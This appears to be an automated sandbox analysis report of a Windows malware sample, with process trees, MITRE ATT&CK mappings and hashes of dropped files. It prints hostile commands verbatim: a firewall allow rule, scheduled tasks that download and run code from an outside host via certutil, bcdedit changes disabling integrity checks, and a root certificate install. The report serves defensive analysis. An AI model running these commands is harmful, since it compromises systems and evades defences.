Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a441400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a319000000010000001000000014c3bd3549ee225aece13734ad8ca0b82000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
888	schtasks.exe
2172	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1768	app.exe
3000	app.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1768	app.exe
Token: SeImpersonatePrivilege	1768	app.exe
Token: SeSystemEnvironmentPrivilege	2780	csrss.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 3000 wrote to memory of 2888	3000	app.exe	35
PID 3000 wrote to memory of 2888	3000	app.exe	35
PID 3000 wrote to memory of 2888	3000	app.exe	35
PID 3000 wrote to memory of 2888	3000	app.exe	35
PID 2888 wrote to memory of 2992	2888	cmd.exe	37
PID 2888 wrote to memory of 2992	2888	cmd.exe	37
PID 2888 wrote to memory of 2992	2888	cmd.exe	37
PID 3000 wrote to memory of 2780	3000	app.exe	38
PID 3000 wrote to memory of 2780	3000	app.exe	38
PID 3000 wrote to memory of 2780	3000	app.exe	38
PID 3000 wrote to memory of 2780	3000	app.exe	38
PID 2968 wrote to memory of 2664	2968	patch.exe	46
PID 2968 wrote to memory of 2664	2968	patch.exe	46
PID 2968 wrote to memory of 2664	2968	patch.exe	46
PID 2968 wrote to memory of 808	2968	patch.exe	48
PID 2968 wrote to memory of 808	2968	patch.exe	48
PID 2968 wrote to memory of 808	2968	patch.exe	48
PID 2968 wrote to memory of 1768	2968	patch.exe	50
PID 2968 wrote to memory of 1768	2968	patch.exe	50
PID 2968 wrote to memory of 1768	2968	patch.exe	50
PID 2968 wrote to memory of 2880	2968	patch.exe	52
PID 2968 wrote to memory of 2880	2968	patch.exe	52
PID 2968 wrote to memory of 2880	2968	patch.exe	52
PID 2968 wrote to memory of 2748	2968	patch.exe	54
PID 2968 wrote to memory of 2748	2968	patch.exe	54
PID 2968 wrote to memory of 2748	2968	patch.exe	54
PID 2968 wrote to memory of 2828	2968	patch.exe	56
PID 2968 wrote to memory of 2828	2968	patch.exe	56
PID 2968 wrote to memory of 2828	2968	patch.exe	56
PID 2968 wrote to memory of 2888	2968	patch.exe	58
PID 2968 wrote to memory of 2888	2968	patch.exe	58
PID 2968 wrote to memory of 2888	2968	patch.exe	58
PID 2968 wrote to memory of 3024	2968	patch.exe	60
PID 2968 wrote to memory of 3024	2968	patch.exe	60
PID 2968 wrote to memory of 3024	2968	patch.exe	60
PID 2968 wrote to memory of 3048	2968	patch.exe	62
PID 2968 wrote to memory of 3048	2968	patch.exe	62
PID 2968 wrote to memory of 3048	2968	patch.exe	62
PID 2968 wrote to memory of 2792	2968	patch.exe	64
PID 2968 wrote to memory of 2792	2968	patch.exe	64
PID 2968 wrote to memory of 2792	2968	patch.exe	64
PID 2968 wrote to memory of 804	2968	patch.exe	66
PID 2968 wrote to memory of 804	2968	patch.exe	66
PID 2968 wrote to memory of 804	2968	patch.exe	66
PID 2968 wrote to memory of 2364	2968	patch.exe	68
PID 2968 wrote to memory of 2364	2968	patch.exe	68
PID 2968 wrote to memory of 2364	2968	patch.exe	68
PID 2968 wrote to memory of 1052	2968	patch.exe	70
PID 2968 wrote to memory of 1052	2968	patch.exe	70
PID 2968 wrote to memory of 1052	2968	patch.exe	70
PID 2780 wrote to memory of 976	2780	csrss.exe	72
PID 2780 wrote to memory of 976	2780	csrss.exe	72
PID 2780 wrote to memory of 976	2780	csrss.exe	72
PID 2780 wrote to memory of 976	2780	csrss.exe	72
PID 2780 wrote to memory of 3020	2780	csrss.exe	74
PID 2780 wrote to memory of 3020	2780	csrss.exe	74
PID 2780 wrote to memory of 3020	2780	csrss.exe	74
PID 2780 wrote to memory of 3020	2780	csrss.exe	74

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\app.exe
"C:\Users\Admin\AppData\Local\Temp\app.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1768
- C:\Users\Admin\AppData\Local\Temp\app.exe
  "C:\Users\Admin\AppData\Local\Temp\app.exe"
  2⤵
  - Windows security bypass
  - Loads dropped DLL
  - Windows security modification
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2888
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      Modifies data under HKEY_USERS
      PID:2992
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe ""
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Modifies data under HKEY_USERS
    - Modifies system certificate store
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2780
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:888
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2172
  - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:2968
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2664
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:808
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1768
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2880
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2748
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2828
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2888
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:3024
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:3048
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2792
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:804
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -timeout 0
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2364
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1052
  - - C:\Windows\system32\bcdedit.exe
      C:\Windows\Sysnative\bcdedit.exe /v
      4⤵
      Modifies boot configuration data using bcdedit
      PID:976
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      4⤵
      Executes dropped EXE
      PID:3020

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240720221646.log C:\Windows\Logs\CBS\CbsPersist_20240720221646.cab
1⤵
- Drops file in Windows directory
PID:2872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error

Filesize
8.3MB

MD5
fd2727132edd0b59fa33733daa11d9ef

SHA1
63e36198d90c4c2b9b09dd6786b82aba5f03d29a

SHA256
3a72dbedc490773f90e241c8b3b839383a63ce36426a4f330a0f754b14b4d23e

SHA512
3e251be7d0e8db92d50092a4c4be3c74f42f3d564c72981f43a8e0fe06427513bfa0f67821a61a503a4f85741f0b150280389f8f4b4f01cdfd98edce5af29e6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error

Filesize
492KB

MD5
fafbf2197151d5ce947872a4b0bcbe16

SHA1
a86eaa2dd9fc6d36fcfb41df7ead8d1166aea020

SHA256
feb122b7916a1e62a7a6ae8d25ea48a2efc86f6e6384f5526e18ffbfc5f5ff71

SHA512
acbd49a111704d001a4ae44d1a071d566452f92311c5c0099d57548eddc9b3393224792c602022df5c3dd19b0a1fb4eff965bf038c8783ae109336699f9d13f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

Filesize
94KB

MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll

Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll

Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe

Filesize
4.4MB

MD5
a6a6273d29cecf465de73ee6d11861c2

SHA1
d3eccd9bb6c17698e726ded7b9f9893a51c5424f

SHA256
5f9c7df75c9a1dd3d35653d404d346acbceb5d588479daeaee5ba37ee92e0dfd

SHA512
f20e942a7f64bcba37a84ee9210f5f9b484b60a6077791c38fb0e0b984d51570a887cdc96d18aeb2503469e767d6e31b4eb32676f07b016aed5af06f88a097c1

Download Submit
memory/1768-0-0x0000000004810000-0x0000000004C41000-memory.dmp

Filesize
4.2MB

Download
memory/1768-5-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/1768-3-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/1768-2-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/1768-1-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/2780-64-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/2780-74-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/2780-101-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/2780-65-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/2780-66-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/2780-67-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/2780-68-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/2780-72-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/2780-73-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/2780-52-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/2780-75-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/2780-76-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/2780-77-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/2780-78-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/2780-16-0x0000000004940000-0x0000000004D71000-memory.dmp

Filesize
4.2MB

Download
memory/2968-22-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2968-36-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/3000-15-0x0000000000400000-0x0000000002FCF000-memory.dmp

Filesize
43.8MB

Download
memory/3000-6-0x0000000004910000-0x0000000004D41000-memory.dmp

Filesize
4.2MB

Download